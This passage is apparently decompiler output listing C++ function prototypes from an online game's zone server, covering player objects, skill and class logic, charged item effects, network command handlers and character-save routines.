Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Obj2Center(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Exchange(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Exchange(BriefInfoExchanger::BriefInfoExchangeMob *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Exchange(BriefInfoExchanger::BriefInfoExchangeDoor *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Exchange(BriefInfoExchanger::BriefInfoExchangeEffect *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Exchange(BriefInfoExchanger::BriefInfoExchangeItem *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Exchange(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Obj2Center(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #331 *, #331 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Exchange(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #331 *, #331 *); char __thiscall ShineObjectClass::ShineObject::so_GatherMiniHouseInform(#331 *this, #331 *, unsigned int); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Exchange(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #331 *, #331 *); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); Observer *__cdecl std::copy(Observer *_First, Observer *_Last, Observer *_Dest); void __cdecl std::fill(Observer *_First, Observer *_Last, Observer *_Val); Observer *__cdecl std::copy_backward(Observer *_First, Observer *_Last, Observer *_Dest); void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this); char __thiscall ShineObjectClass::ShineObject::so_GatherPlayerInform(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD(void *center, int netcmd, int len, __int16 handle); void __cdecl std::_Uninit_fill_n>(Observer *_First, unsigned int _Count, Observer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::find(...); void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Observer *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, #331 *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val); void __thiscall std::vector>::push_back(std::vector > *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); char __thiscall ShineObjectClass::ShineObject::so_ExchageBriefInfo(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, std::_Tree >,std::less,std::allocator > > > handle); void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineServant::so_mob_RegenComplete(ShineObjectClass::ShineServant *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(void *sp, int netcmd, int len, __int16 handle); void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY); void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this); void __thiscall RollBackPosCallBackEvent::doEventRun(RollBackPosCallBackEvent *this, #331 *pObject); NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #331 *pTargetObject); GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub); bool __cdecl CharaterSkillList::CharSkill::cs_Compare_STLVer(CharaterSkillList::CharSkill *rLhw, CharaterSkillList::CharSkill *rRhw); void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this); void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val); CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right); unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill); int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec); char __thiscall CharacterPassiveList::cpl_PreSkillCheck(CharacterPassiveList *this, #440 *, const char *); void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name); void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name); void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, Parameter::Container *param, ItemBag *equipment); CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *__formal); void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this); std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *__formal); CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, unsigned __int16 skl); char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower); char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult); void __thiscall CharaterSkillList::csl_AddMastery(CharaterSkillList *this, #440 *, unsigned __int16, int); char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct); void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount); void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #440 *, const char *); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L153184(int a1); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val); void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill); int __thiscall CharClass::MaxHP(CharClass *this, #331 *, Parameter::Cluster *); int __thiscall CharClass::MaxSP(CharClass *this, #331 *, Parameter::Cluster *); AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this); char __thiscall CharClass::cc_CanNormalAttack(CharClass *this, #331 *target); int __thiscall CharClassMob::cc_ClassType(ItemEquipment *this); AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this); int __thiscall CharClassMob::MaxHP(CharClassMob *this, #331 *, Parameter::Cluster *); bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType); bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType); bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType); int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Boot *this); int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this); bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType); int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Decoration *this); bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType); int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this); int __thiscall ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this); bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType); int __thiscall ItemAttrCls_ItemChest::iac_ItemClass(ItemAttrCls_ItemChest *this); AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this); int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this); bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType); void __thiscall CharClassWizMage::_CharClassWizMage(CharClassWizard *this); int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this); bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType); int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_MiniHouseSkin *this); int __thiscall CharClassRanger::cc_ClassType(ItemAttrCls_UpgradeRedGem *this); bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType); int __thiscall ItemAttrCls_Feed::iac_ItemClass(ItemAttrCls_Feed *this); int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_Riding *this); void __thiscall CharClassMage::cc_JustAfterSkill(CharClassMage *this, #748 *ply); int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_Amount *this); bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType); bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType); int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this); int __thiscall CharClassWizard::cc_PromoteClass(CharClassWizard *this); bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType); void __thiscall CharClassManager::CharClassManager(CharClassManager *this); void __thiscall CharClassManager::_CharClassManager(CharClassManager *this); void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt); void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world); char *__thiscall NameString::operator__(NameString *this, Name4 *a); CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc); void __stdcall ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this); void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data); void __thiscall WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest); void __thiscall WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __stdcall nullsub_326(int, int); // weak void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box); void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, signed int itemlist); void __thiscall List::l_Clear(List *this); void __cdecl ShineObjectClass::ShinePlayer::so_SetRegistNumber(int regnum); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this); void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this); void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this); int __cdecl mysecond(int *pnt); ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #440 *ply); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #440 *ply); void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); void __thiscall ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItem *chargeditem, #440 *ply); // void __thiscall ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this); char __thiscall ChargedItemEffectList::ChargedEffectListRouter::lid_Call(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime); void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, time_t num); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, int itembag, int inventype); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); int __thiscall Name8::operator_(int this, int a2); char *__thiscall NameString::operator__(NameString *this, Name8 *a); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle); FieldOption::FieldAttr *__thiscall ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(void *pReviveObj); void __thiscall GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass); void __thiscall ShineObjectClass::ShineNPC::so_NPCRevive(ShineObjectClass::ShineNPC *this, #440 *sp); void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall AxialListMobFind::AxialListMobFind(AxialListMobFind *this, unsigned __int16 mobid, int objtype, int skip); void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this); char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale); int __thiscall ShineObjectClass::ShineObject::so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineObject::so_collesioncheck(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord); void __thiscall ShineObjectClass::ShinePlayer::sp_Admin_FindMob(void *this, const char *mobindex); FieldMap::FM_MarkingError __thiscall FieldMap::fm_Marking(#331 *, int, int, char); int __thiscall FieldMap::fm_RegenCity(int this); int __stdcall ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer); int __stdcall ShineObjectClass::ShineObject::so_SaveCharTitle(int buf); int __stdcall ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveLocation(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveChestInfo(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveLevel(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveStat(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveGameData(int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer); int __stdcall ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid); char __stdcall ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveItem(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck); void __thiscall WholeSaver::ws_savelevel2worldmamager(WholeSaver *this, #440 *sp); void __thiscall WholeSaver::ws_save2worldmanager(WholeSaver *this, #440 *sp); int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2); void __thiscall WholeSaver::ws_saveassure(WholeSaver *this); void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this); signed int __thiscall 